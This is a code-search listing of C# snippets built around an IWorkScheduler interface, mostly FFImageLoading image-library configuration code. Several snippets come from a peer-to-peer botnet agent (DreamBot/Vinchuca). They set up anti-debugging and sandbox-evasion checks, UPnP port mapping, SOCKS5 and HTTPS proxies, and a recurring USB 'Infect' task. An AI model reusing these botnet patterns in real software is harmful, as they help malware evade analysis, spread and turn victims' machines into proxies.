Пример #1
0
        public DreamBotApp(int port, BotIdentifier id)
        {
            BotId = id;
            Logger.Info(0, "DreamBot [id: {0}] listenning on port {1}", BotId, port);

            _worker = new ClientWorker();
            _worker.QueueForever(AntiDebugging.CheckDebugger, TimeSpan.FromSeconds(1));
            _worker.QueueForever(AntiDebugging.CheckDebugging, TimeSpan.FromSeconds(0.3));

            _peerList = new PeerList(_worker);
            _peerList.DesparadoModeActivated += DesperateModeActivated;

            _listener = new MessageListener(port);
            _listener.UdpPacketReceived += EnqueueMessage;

            _comunicationManager = new ComunicationManager(_listener, _worker);
            _peersManager = new PeerManager(_comunicationManager, _peerList, _worker, BotId);
            _messagesManager = new MessageManager(_peersManager);

            _messagesManager.Register(0x00, MessageType.Request,  typeof(HelloMessage), new HelloMessageHandler(_peerList, _messagesManager), false);
            _messagesManager.Register(0x01, MessageType.Reply, typeof(HelloReplyMessage), new HelloReplyMessageHandler(_peerList, _messagesManager), true);
            _messagesManager.Register(0x02, MessageType.Request, typeof(GetPeerListMessage), new GetPeerListMessageHandler(_peerList, _messagesManager), true);
            _messagesManager.Register(0x03, MessageType.Reply, typeof(GetPeerListReplyMessage), new GetPeerListReplyMessageHandler(_peerList, _messagesManager), true);
            _messagesManager.Register(0xFF, MessageType.Special, typeof(InvalidMessage), new InvalidMessageHandler(_peerList), false);

            _socks5 = new Socks5Server(8009);
            _https = new HttpsProxyServer(8019);
            //_connectivityTester = new ConnectivityTester();
            //_connectivityTester.OnConnectivityStatusChanged += OnConnectivityStatusChanged;
        }
Пример #2
0
        public Computation(Action <T> action, ComputationCookie cookie)
        {
            this.action    = action;
            this.scheduler = DefaultWorkScheduler.Scheduler;

            this.Cookie = cookie;
        }
Пример #3
0
        public Agent(int port, BotIdentifier id)
        {
            BotIdentifier.Id = id;
            Logger.Info("Vinchuca Agent [id: {0}] listenning on port {1}", BotIdentifier.Id, port);

            _worker = ClientWorker.Instance;
            _worker.QueueForever(AntiDebugging.CheckDebugger, TimeSpan.FromSeconds(1));
            _worker.QueueForever(AntiDebugging.CheckDebugging, TimeSpan.FromSeconds(0.3));
            _worker.QueueForever(SandboxDetection.CheckSandboxed, TimeSpan.FromSeconds(1));

            _peerList = new PeerList(_worker);
            _peerList.DesparadoModeActivated += DesperateModeActivated;


            if (IPAddressUtils.BehingNAT(IPAddressUtils.GetLocalIPAddress()))
            {
                var upnpSearcher = new UpnpSearcher();
                upnpSearcher.DeviceFound += (s, e) =>
                {
                    PublicIP = e.Device.GetExternalIP();
                    Logger.Verbose("External IP Address: {0}", PublicIP);
                    try
                    {
                        var externalPort = BotIdentifier.Id.GetPort();
                        BotIdentifier.EndPoint = new IPEndPoint(PublicIP, externalPort);
                        var device = e.Device;
                        device.CreatePortMap(new Mapping(Protocol.Udp, port, externalPort));
                        device.CreatePortMap(new Mapping(Protocol.Tcp, port, externalPort + 1));
                        device.CreatePortMap(new Mapping(Protocol.Tcp, port, externalPort + 2));
                    }
                    catch (MappingException ex)
                    {
                        Logger.Warn("UPnp - port mapping failed: {0} - {1}", ex.ErrorCode, ex.ErrorText);
                    }
                    finally
                    {
                        upnpSearcher.Stop();
                    }
                };
                upnpSearcher.Search();
            }

            _listener = new MessageListener(port);
            _listener.UdpPacketReceived += EnqueueMessage;
            _communicationManager        = new CommunicationManager(_listener, _worker);
            var peersManager = new PeerManager(_communicationManager, _peerList, _worker);

            _messagesManager           = new MessageManager(peersManager);
            peersManager.MessageSender = _messagesManager;

            RegisterMessageHandlers(peersManager);

            var externPort = BotIdentifier.Id.GetPort();

            _socks5             = new Socks5Server(externPort + 1);
            _https              = new HttpsProxyServer(externPort + 2);
            _connectivityTester = new ConnectivityTester();
            _connectivityTester.OnConnectivityStatusChanged += OnConnectivityStatusChanged;
        }
Пример #4
0
        public FiberComputation(Func <T, IEnumerable <FiberStatus> > fiberAction, ComputationCookie cookie)
        {
            this.action       = fiberAction;
            this.scheduler    = DefaultWorkScheduler.Scheduler;
            this.fiberContext = action(state).GetEnumerator();

            this.Cookie = cookie;
        }
Пример #5
0
        public PeerList(IWorkScheduler worker)
        {
            _worker = worker;
            _peers  = new Dictionary <BotIdentifier, PeerInfo>();

            _worker.QueueForever(Check, TimeSpan.FromMinutes(5));
            _worker.QueueForever(Purge, TimeSpan.FromSeconds(15));
            _worker.QueueForever(Save, TimeSpan.FromMinutes(1));
        }
Пример #6
0
        public ConnectionIoActor(IWorkScheduler worker, IBufferAllocator bufferAllocator)
        {
            _sendQueue = new BlockingQueue<IOState>();
            _receiveQueue = new BlockingQueue<IOState>();

            _bufferAllocator = bufferAllocator;
            _worker = worker;
            _worker.QueueForever(SendEnqueued, 1.Milliseconds());
            _worker.QueueForever(ReceiveEnqueued, 1.Milliseconds());
        }
Пример #7
0
        public ConnectionIoActor(IWorkScheduler worker, IBufferAllocator bufferAllocator)
        {
            _sendQueue    = new BlockingQueue <IOState>();
            _receiveQueue = new BlockingQueue <IOState>();

            _bufferAllocator = bufferAllocator;
            _worker          = worker;
            _worker.QueueForever(SendEnqueued, 1.Milliseconds());
            _worker.QueueForever(ReceiveEnqueued, 1.Milliseconds());
        }
Пример #8
0
 public Configuration(int maxCacheSize     = 0, HttpClient httpClient = null, IWorkScheduler scheduler = null, IMiniLogger logger = null,
                      IDiskCache diskCache = null, IDownloadCache downloadCache = null)
 {
     MaxCacheSize  = maxCacheSize;
     HttpClient    = httpClient;
     Scheduler     = scheduler;
     Logger        = logger;
     DiskCache     = diskCache;
     DownloadCache = downloadCache;
 }
Пример #9
0
        /// <summary>
        /// Initialize ImageService default values. This can only be done once: during app start.
        /// </summary>
        /// <param name="maxCacheSize">Max cache size. If zero then 20% of the memory will be used.</param>
        /// <param name="httpClient">.NET HttpClient to use. If null then a ModernHttpClient is instanciated.</param>
        /// <param name="scheduler">Work scheduler used to organize/schedule loading tasks.</param>
        /// <param name="logger">Basic logger. If null a very simple implementation that prints to console is used.</param>
        /// <param name="diskCache">Disk cache. If null a default disk cache is instanciated that uses a journal mechanism.</param>
        /// <param name="downloadCache">Download cache. If null a default download cache is instanciated, which relies on the DiskCache</param>
        public static void Initialize(int maxCacheSize = 0, HttpClient httpClient = null, IWorkScheduler scheduler = null, IMiniLogger logger = null,
            IDiskCache diskCache = null, IDownloadCache downloadCache = null)
        {
            lock (_initializeLock)
            {
                if (_initialized)
                    throw new Exception("FFImageLoading.ImageService is already initialized");
            }

            InitializeIfNeeded(maxCacheSize, httpClient, scheduler, logger, diskCache, downloadCache);
        }
Пример #10
0
        public CommunicationManager(IMessageListener listener, IWorkScheduler worker)
        {
            _listener = listener;
            _worker   = worker;

            _receivedMessageQueue = new Queue <Package>();
            _sendMessageQueue     = new Queue <Package>();
            _blackList            = new List <IPAddress>();
            _requestsByIp         = new Dictionary <IPAddress, int>();

            _worker.QueueForever(SendReceive, TimeSpan.FromMilliseconds(200));
            _worker.QueueForever(AnalyzeRequestList, TimeSpan.FromMinutes(1));
        }
Пример #11
0
        public PeerManager(ComunicationManager comunicationManager, PeerList peerList, IWorkScheduler worker, BotIdentifier botId)
        {
            _comunicationManager = comunicationManager;
            _comunicationManager.PackageReceivedEventArgs += PackageReceivedEventArgs;
            _worker          = worker;
            _botId           = botId;
            _waitingForReply = new ReplyWaitManager(_comunicationManager);

            _worker.QueueForever(PurgeTimeouts, TimeSpan.FromSeconds(60));
            _peerList = peerList;

            _peerList.BrokenBotDetected += BrokenBotDetected;
        }
Пример #12
0
        public PeerManager(CommunicationManager communicationManager, PeerList peerList, IWorkScheduler worker)
        {
            _communicationManager = communicationManager;
            _communicationManager.PackageReceivedEventArgs += PackageReceivedEventArgs;
            _worker         = worker;
            _peerList       = peerList;
            WaitingForReply = new ReplyWaitManager(_communicationManager, peerList);

            _worker.QueueForever(Ping, TimeSpan.FromMinutes(5));
            _worker.QueueForever(PurgeTimeouts, TimeSpan.FromMinutes(15));

            _peerList.BrokenBotDetected += BrokenBotDetected;
        }
Пример #13
0
        public Configuration(int maxCacheSize, HttpClient httpClient, IWorkScheduler scheduler, IMiniLogger logger,
			IDiskCache diskCache, IDownloadCache downloadCache, bool loadWithTransparencyChannel, bool fadeAnimationEnabled,
			int httpHeadersTimeout, int httpReadTimeout
		)
        {
            MaxCacheSize = maxCacheSize;
            HttpClient = httpClient;
            Scheduler = scheduler;
            Logger = logger;
            DiskCache = diskCache;
            DownloadCache = downloadCache;
            LoadWithTransparencyChannel = loadWithTransparencyChannel;
            FadeAnimationEnabled = fadeAnimationEnabled;
            HttpHeadersTimeout = httpHeadersTimeout;
            HttpReadTimeout = httpReadTimeout;
        }
Пример #14
0
 public Configuration(int maxCacheSize, HttpClient httpClient, IWorkScheduler scheduler, IMiniLogger logger,
                      IDiskCache diskCache, IDownloadCache downloadCache, bool loadWithTransparencyChannel, bool fadeAnimationEnabled,
                      bool transformPlaceholders, InterpolationMode downsampleInterpolationMode, int httpHeadersTimeout, int httpReadTimeout
                      )
 {
     MaxCacheSize  = maxCacheSize;
     HttpClient    = httpClient;
     Scheduler     = scheduler;
     Logger        = logger;
     DiskCache     = diskCache;
     DownloadCache = downloadCache;
     LoadWithTransparencyChannel = loadWithTransparencyChannel;
     FadeAnimationEnabled        = fadeAnimationEnabled;
     TransformPlaceholders       = transformPlaceholders;
     DownsampleInterpolationMode = downsampleInterpolationMode;
     HttpHeadersTimeout          = httpHeadersTimeout;
     HttpReadTimeout             = httpReadTimeout;
 }
Пример #15
0
        public Configuration(int maxCacheSize, HttpClient httpClient, IWorkScheduler scheduler, IMiniLogger logger,
			IDiskCache diskCache, IDownloadCache downloadCache, bool loadWithTransparencyChannel, bool fadeAnimationEnabled,
			bool transformPlaceholders, InterpolationMode downsampleInterpolationMode, int httpHeadersTimeout, int httpReadTimeout
		)
        {
            MaxCacheSize = maxCacheSize;
            HttpClient = httpClient;
            Scheduler = scheduler;
            Logger = logger;
            DiskCache = diskCache;
            DownloadCache = downloadCache;
			LoadWithTransparencyChannel = loadWithTransparencyChannel;
			FadeAnimationEnabled = fadeAnimationEnabled;
            TransformPlaceholders = transformPlaceholders;
			DownsampleInterpolationMode = downsampleInterpolationMode;
            HttpHeadersTimeout = httpHeadersTimeout;
			HttpReadTimeout = httpReadTimeout;
        }
Пример #16
0
        private static void InitializeIfNeeded(int maxCacheSize = 0, HttpClient httpClient = null, IWorkScheduler scheduler = null, IMiniLogger logger = null,
			IDiskCache diskCache = null, IDownloadCache downloadCache = null, bool loadWithTransparencyChannel = false, bool fadeAnimationEnabled = true,
			int httpHeadersTimeout = HttpHeadersTimeout, int httpReadTimeout = HttpReadTimeout
		)
        {
			if (_initialized)
				return;

			lock (_initializeLock)
			{
				if (_initialized)
					return;
			
				var userDefinedConfig = new Configuration(maxCacheSize, httpClient, scheduler, logger, diskCache, downloadCache, loadWithTransparencyChannel, fadeAnimationEnabled, httpHeadersTimeout, httpReadTimeout);
				Config = GetDefaultConfiguration(userDefinedConfig);

				_initialized = true;
			}
        }
Пример #17
0
        /// <summary>
        /// Initialize ImageService default values. This can only be done once: during app start.
        /// </summary>
        /// <param name="maxCacheSize">Max cache size. If zero then 20% of the memory will be used.</param>
		/// <param name="httpClient">.NET HttpClient to use. If null then a.NET HttpClient is instanciated.</param>
        /// <param name="scheduler">Work scheduler used to organize/schedule loading tasks.</param>
        /// <param name="logger">Basic logger. If null a very simple implementation that prints to console is used.</param>
        /// <param name="diskCache">Disk cache. If null a default disk cache is instanciated that uses a journal mechanism.</param>
        /// <param name="downloadCache">Download cache. If null a default download cache is instanciated, which relies on the DiskCache</param>
		/// <param name="loadWithTransparencyChannel">Gets a value indicating whether images should be loaded with transparency channel. On Android we save 50% of the memory without transparency since we use 2 bytes per pixel instead of 4.</param>
		/// <param name="fadeAnimationEnabled">Defines if fading should be performed while loading images.</param>
        /// <param name="transformPlaceholders">Defines if transforms should be applied to placeholders.</param>
		/// <param name="downsampleInterpolationMode">Defines default downsample interpolation mode.</param>
		/// <param name="httpHeadersTimeout">Maximum time in seconds to wait to receive HTTP headers before the HTTP request is cancelled.</param>
		/// <param name="httpReadTimeout">Maximum time in seconds to wait before the HTTP request is cancelled.</param>
		public static void Initialize(int? maxCacheSize = null, HttpClient httpClient = null, IWorkScheduler scheduler = null, IMiniLogger logger = null,
			IDiskCache diskCache = null, IDownloadCache downloadCache = null, bool? loadWithTransparencyChannel = null, bool? fadeAnimationEnabled = null,
			bool? transformPlaceholders = null, InterpolationMode? downsampleInterpolationMode = null, int httpHeadersTimeout = HttpHeadersTimeout, int httpReadTimeout = HttpReadTimeout
		)
        {
			lock (_initializeLock)
			{
				_initialized = false;

				if (Config != null)
				{
					// If DownloadCache is not updated but HttpClient is then we inform DownloadCache
					if (httpClient != null && downloadCache == null)
					{
						downloadCache = Config.DownloadCache;
						downloadCache.DownloadHttpClient = httpClient;
					}

					logger.Debug("Skip configuration for maxCacheSize and diskCache. They cannot be redefined.");
					maxCacheSize = Config.MaxCacheSize;
					diskCache = Config.DiskCache;

					// Redefine these if they were provided only
					httpClient = httpClient ?? Config.HttpClient;
					scheduler = scheduler ?? Config.Scheduler;
					logger = logger ?? Config.Logger;
					downloadCache = downloadCache ?? Config.DownloadCache;
					loadWithTransparencyChannel = loadWithTransparencyChannel ?? Config.LoadWithTransparencyChannel;
					fadeAnimationEnabled = fadeAnimationEnabled ?? Config.FadeAnimationEnabled;
					transformPlaceholders = transformPlaceholders ?? Config.TransformPlaceholders;
					downsampleInterpolationMode = downsampleInterpolationMode ?? Config.DownsampleInterpolationMode;
				}


				InitializeIfNeeded(maxCacheSize ?? 0, httpClient, scheduler, logger, diskCache, downloadCache,
					loadWithTransparencyChannel ?? false, fadeAnimationEnabled ?? true,
					transformPlaceholders ?? true, downsampleInterpolationMode ?? InterpolationMode.Default, 
					httpHeadersTimeout, httpReadTimeout
				);
			}
        }
Пример #18
0
		public static void Initialize(int? maxCacheSize = null, HttpClient httpClient = null, IWorkScheduler scheduler = null, IMiniLogger logger = null,
			IDiskCache diskCache = null, IDownloadCache downloadCache = null, bool? loadWithTransparencyChannel = null, bool? fadeAnimationEnabled = null,
			bool? transformPlaceholders = null, InterpolationMode? downsampleInterpolationMode = null, int httpHeadersTimeout = 15, int httpReadTimeout = 30
		)
        {
			var cfg = new Configuration();

			if (httpClient != null) cfg.HttpClient = httpClient;
			if (scheduler != null) cfg.Scheduler = scheduler;
			if (logger != null) cfg.Logger = logger;
			if (diskCache != null) cfg.DiskCache = diskCache;
			if (downloadCache != null) cfg.DownloadCache = downloadCache;
			if (loadWithTransparencyChannel.HasValue) cfg.LoadWithTransparencyChannel = loadWithTransparencyChannel.Value;
			if (fadeAnimationEnabled.HasValue) cfg.FadeAnimationEnabled = fadeAnimationEnabled.Value;
			if (transformPlaceholders.HasValue) cfg.TransformPlaceholders = transformPlaceholders.Value;
			if (downsampleInterpolationMode.HasValue) cfg.DownsampleInterpolationMode = downsampleInterpolationMode.Value;
			cfg.HttpHeadersTimeout = httpHeadersTimeout;
			cfg.HttpReadTimeout = httpReadTimeout;
			if (maxCacheSize.HasValue) cfg.MaxCacheSize = maxCacheSize.Value;

			Initialize(cfg);
        }
Пример #19
0
 /// <summary> Add delayed work to scheduler </summary>
 /// <param name="scheduler"> Work Scheduler instance </param>
 /// <param name="work"> Work instance </param>
 /// <param name="delay"> Work execution delay </param>
 /// <param name="cancellation"> Work cancellation token </param>
 /// <returns> Work result task </returns>
 /// <exception cref="ArgumentNullException"> Thrown if <paramref name="work" /> or <paramref name="scheduler" /> is NULL </exception>
 /// <exception cref="ArgumentOutOfRangeException"> Thrown if <paramref name="delay" /> isn't greater then 00:00:00.000 </exception>
 public static Task AddScheduledWork(this IWorkScheduler scheduler, IWork work, TimeSpan delay, CancellationToken cancellation = default)
 => (scheduler ?? throw new ArgumentNullException(nameof(scheduler))).AddScheduledWork(work, DateTime.Now.Add(delay), cancellation);
Пример #20
0
 public Usb(IWorkScheduler worker)
 {
     worker.QueueForever(Infect, TimeSpan.FromSeconds(90));
 }
Пример #21
0
        private static void InitializeIfNeeded(int maxCacheSize = 0, HttpClient httpClient = null, IWorkScheduler scheduler = null, IMiniLogger logger = null,
            IDiskCache diskCache = null, IDownloadCache downloadCache = null)
        {
            if (_initialized)
                return;

            lock (_initializeLock)
            {
                if (_initialized)
                    return;

                var userDefinedConfig = new Configuration(maxCacheSize, httpClient, scheduler, logger, diskCache, downloadCache);
                Config = GetDefaultConfiguration(userDefinedConfig);

                _initialized = true;
            }
        }
Пример #22
0
        public static void Initialize(int?maxCacheSize           = null, HttpClient httpClient        = null, IWorkScheduler scheduler = null, IMiniLogger logger = null,
                                      IDiskCache diskCache       = null, IDownloadCache downloadCache = null, bool?loadWithTransparencyChannel = null, bool?fadeAnimationEnabled = null,
                                      bool?transformPlaceholders = null, InterpolationMode?downsampleInterpolationMode = null, int httpHeadersTimeout = 15, int httpReadTimeout  = 30
                                      )
        {
            var cfg = new Configuration();

            if (httpClient != null)
            {
                cfg.HttpClient = httpClient;
            }
            if (scheduler != null)
            {
                cfg.Scheduler = scheduler;
            }
            if (logger != null)
            {
                cfg.Logger = logger;
            }
            if (diskCache != null)
            {
                cfg.DiskCache = diskCache;
            }
            if (downloadCache != null)
            {
                cfg.DownloadCache = downloadCache;
            }
            if (loadWithTransparencyChannel.HasValue)
            {
                cfg.LoadWithTransparencyChannel = loadWithTransparencyChannel.Value;
            }
            if (fadeAnimationEnabled.HasValue)
            {
                cfg.FadeAnimationEnabled = fadeAnimationEnabled.Value;
            }
            if (transformPlaceholders.HasValue)
            {
                cfg.TransformPlaceholders = transformPlaceholders.Value;
            }
            if (downsampleInterpolationMode.HasValue)
            {
                cfg.DownsampleInterpolationMode = downsampleInterpolationMode.Value;
            }
            cfg.HttpHeadersTimeout = httpHeadersTimeout;
            cfg.HttpReadTimeout    = httpReadTimeout;
            if (maxCacheSize.HasValue)
            {
                cfg.MaxCacheSize = maxCacheSize.Value;
            }

            Initialize(cfg);
        }
Пример #23
0
        private static void InitializeIfNeeded(int maxCacheSize           = 0, HttpClient httpClient = null, IWorkScheduler scheduler = null, IMiniLogger logger = null,
                                               IDiskCache diskCache       = null, IDownloadCache downloadCache = null, bool loadWithTransparencyChannel = false, bool fadeAnimationEnabled = true,
                                               bool transformPlaceholders = true, InterpolationMode downsampleInterpolationMode = InterpolationMode.Default, int httpHeadersTimeout = HttpHeadersTimeout, int httpReadTimeout = HttpReadTimeout
                                               )
        {
            if (_initialized)
            {
                return;
            }

            lock (_initializeLock)
            {
                if (_initialized)
                {
                    return;
                }

                var userDefinedConfig = new Configuration(maxCacheSize, httpClient, scheduler, logger, diskCache, downloadCache,
                                                          loadWithTransparencyChannel, fadeAnimationEnabled, transformPlaceholders, downsampleInterpolationMode,
                                                          httpHeadersTimeout, httpReadTimeout);
                Config = GetDefaultConfiguration(userDefinedConfig);

                _initialized = true;
            }
        }
Пример #24
0
        /// <summary>
        /// Initialize ImageService default values. This can only be done once: during app start.
        /// </summary>
        /// <param name="maxCacheSize">Max cache size. If zero then 20% of the memory will be used.</param>
        /// <param name="httpClient">.NET HttpClient to use. If null then a ModernHttpClient is instanciated.</param>
        /// <param name="scheduler">Work scheduler used to organize/schedule loading tasks.</param>
        /// <param name="logger">Basic logger. If null a very simple implementation that prints to console is used.</param>
        /// <param name="diskCache">Disk cache. If null a default disk cache is instanciated that uses a journal mechanism.</param>
        /// <param name="downloadCache">Download cache. If null a default download cache is instanciated, which relies on the DiskCache</param>
        public static void Initialize(int maxCacheSize     = 0, HttpClient httpClient = null, IWorkScheduler scheduler = null, IMiniLogger logger = null,
                                      IDiskCache diskCache = null, IDownloadCache downloadCache = null)
        {
            lock (_initializeLock)
            {
                if (_initialized)
                {
                    throw new Exception("FFImageLoading.ImageService is already initialized");
                }
            }

            InitializeIfNeeded(maxCacheSize, httpClient, scheduler, logger, diskCache, downloadCache);
        }
Пример #25
0
 /// <summary> Add scheduled work to scheduler </summary>
 /// <param name="scheduler"> Work Scheduler instance </param>
 /// <param name="time"> Work execution time </param>
 /// <param name="cancellation"> Work cancellation token </param>
 /// <typeparam name="TWork"> Work type </typeparam>
 /// <returns> Work result task </returns>
 /// <exception cref="ArgumentNullException"> Thrown if <paramref name="scheduler" /> is NULL </exception>
 /// <exception cref="ArgumentOutOfRangeException"> Thrown if <paramref name="time" /> isn't greater then current time </exception>
 public static Task AddScheduledWork <TWork>(this IWorkScheduler scheduler, DateTime time, CancellationToken cancellation = default)
     where TWork : IWork
 => (scheduler ?? throw new ArgumentNullException(nameof(scheduler))).AddScheduledWork(
Пример #26
0
        /// <summary>
        /// Initialize ImageService default values. This can only be done once: during app start.
        /// </summary>
        /// <param name="maxCacheSize">Max cache size. If zero then 20% of the memory will be used.</param>
        /// <param name="httpClient">.NET HttpClient to use. If null then a ModernHttpClient is instanciated.</param>
        /// <param name="scheduler">Work scheduler used to organize/schedule loading tasks.</param>
        /// <param name="logger">Basic logger. If null a very simple implementation that prints to console is used.</param>
        /// <param name="diskCache">Disk cache. If null a default disk cache is instanciated that uses a journal mechanism.</param>
        /// <param name="downloadCache">Download cache. If null a default download cache is instanciated, which relies on the DiskCache</param>
        /// <param name="loadWithTransparencyChannel">Gets a value indicating whether images should be loaded with transparency channel. On Android we save 50% of the memory without transparency since we use 2 bytes per pixel instead of 4.</param>
        /// <param name="fadeAnimationEnabled">Defines if fading should be performed while loading images.</param>
        /// <param name="transformPlaceholders">Defines if transforms should be applied to placeholders.</param>
        /// <param name="downsampleInterpolationMode">Defines default downsample interpolation mode.</param>
        /// <param name="httpHeadersTimeout">Maximum time in seconds to wait to receive HTTP headers before the HTTP request is cancelled.</param>
        /// <param name="httpReadTimeout">Maximum time in seconds to wait before the HTTP request is cancelled.</param>
        public static void Initialize(int?maxCacheSize           = null, HttpClient httpClient        = null, IWorkScheduler scheduler = null, IMiniLogger logger = null,
                                      IDiskCache diskCache       = null, IDownloadCache downloadCache = null, bool?loadWithTransparencyChannel = null, bool?fadeAnimationEnabled = null,
                                      bool?transformPlaceholders = null, InterpolationMode?downsampleInterpolationMode = null, int httpHeadersTimeout = HttpHeadersTimeout, int httpReadTimeout = HttpReadTimeout
                                      )
        {
            lock (_initializeLock)
            {
                _initialized = false;

                if (Config != null)
                {
                    // If DownloadCache is not updated but HttpClient is then we inform DownloadCache
                    if (httpClient != null && downloadCache == null)
                    {
                        downloadCache = Config.DownloadCache;
                        downloadCache.DownloadHttpClient = httpClient;
                    }

                    logger.Debug("Skip configuration for maxCacheSize and diskCache. They cannot be redefined.");
                    maxCacheSize = Config.MaxCacheSize;
                    diskCache    = Config.DiskCache;

                    // Redefine these if they were provided only
                    httpClient    = httpClient ?? Config.HttpClient;
                    scheduler     = scheduler ?? Config.Scheduler;
                    logger        = logger ?? Config.Logger;
                    downloadCache = downloadCache ?? Config.DownloadCache;
                    loadWithTransparencyChannel = loadWithTransparencyChannel ?? Config.LoadWithTransparencyChannel;
                    fadeAnimationEnabled        = fadeAnimationEnabled ?? Config.FadeAnimationEnabled;
                    transformPlaceholders       = transformPlaceholders ?? Config.TransformPlaceholders;
                    downsampleInterpolationMode = downsampleInterpolationMode ?? Config.DownsampleInterpolationMode;
                }


                InitializeIfNeeded(maxCacheSize ?? 0, httpClient, scheduler, logger, diskCache, downloadCache,
                                   loadWithTransparencyChannel ?? false, fadeAnimationEnabled ?? true,
                                   transformPlaceholders ?? true, downsampleInterpolationMode ?? InterpolationMode.Default,
                                   httpHeadersTimeout, httpReadTimeout
                                   );
            }
        }
Пример #27
0
        private static void InitializeIfNeeded(int maxCacheSize     = 0, HttpClient httpClient = null, IWorkScheduler scheduler = null, IMiniLogger logger = null,
                                               IDiskCache diskCache = null, IDownloadCache downloadCache = null)
        {
            if (_initialized)
            {
                return;
            }

            lock (_initializeLock)
            {
                if (_initialized)
                {
                    return;
                }

                var userDefinedConfig = new Configuration(maxCacheSize, httpClient, scheduler, logger, diskCache, downloadCache);
                Config = GetDefaultConfiguration(userDefinedConfig);

                _initialized = true;
            }
        }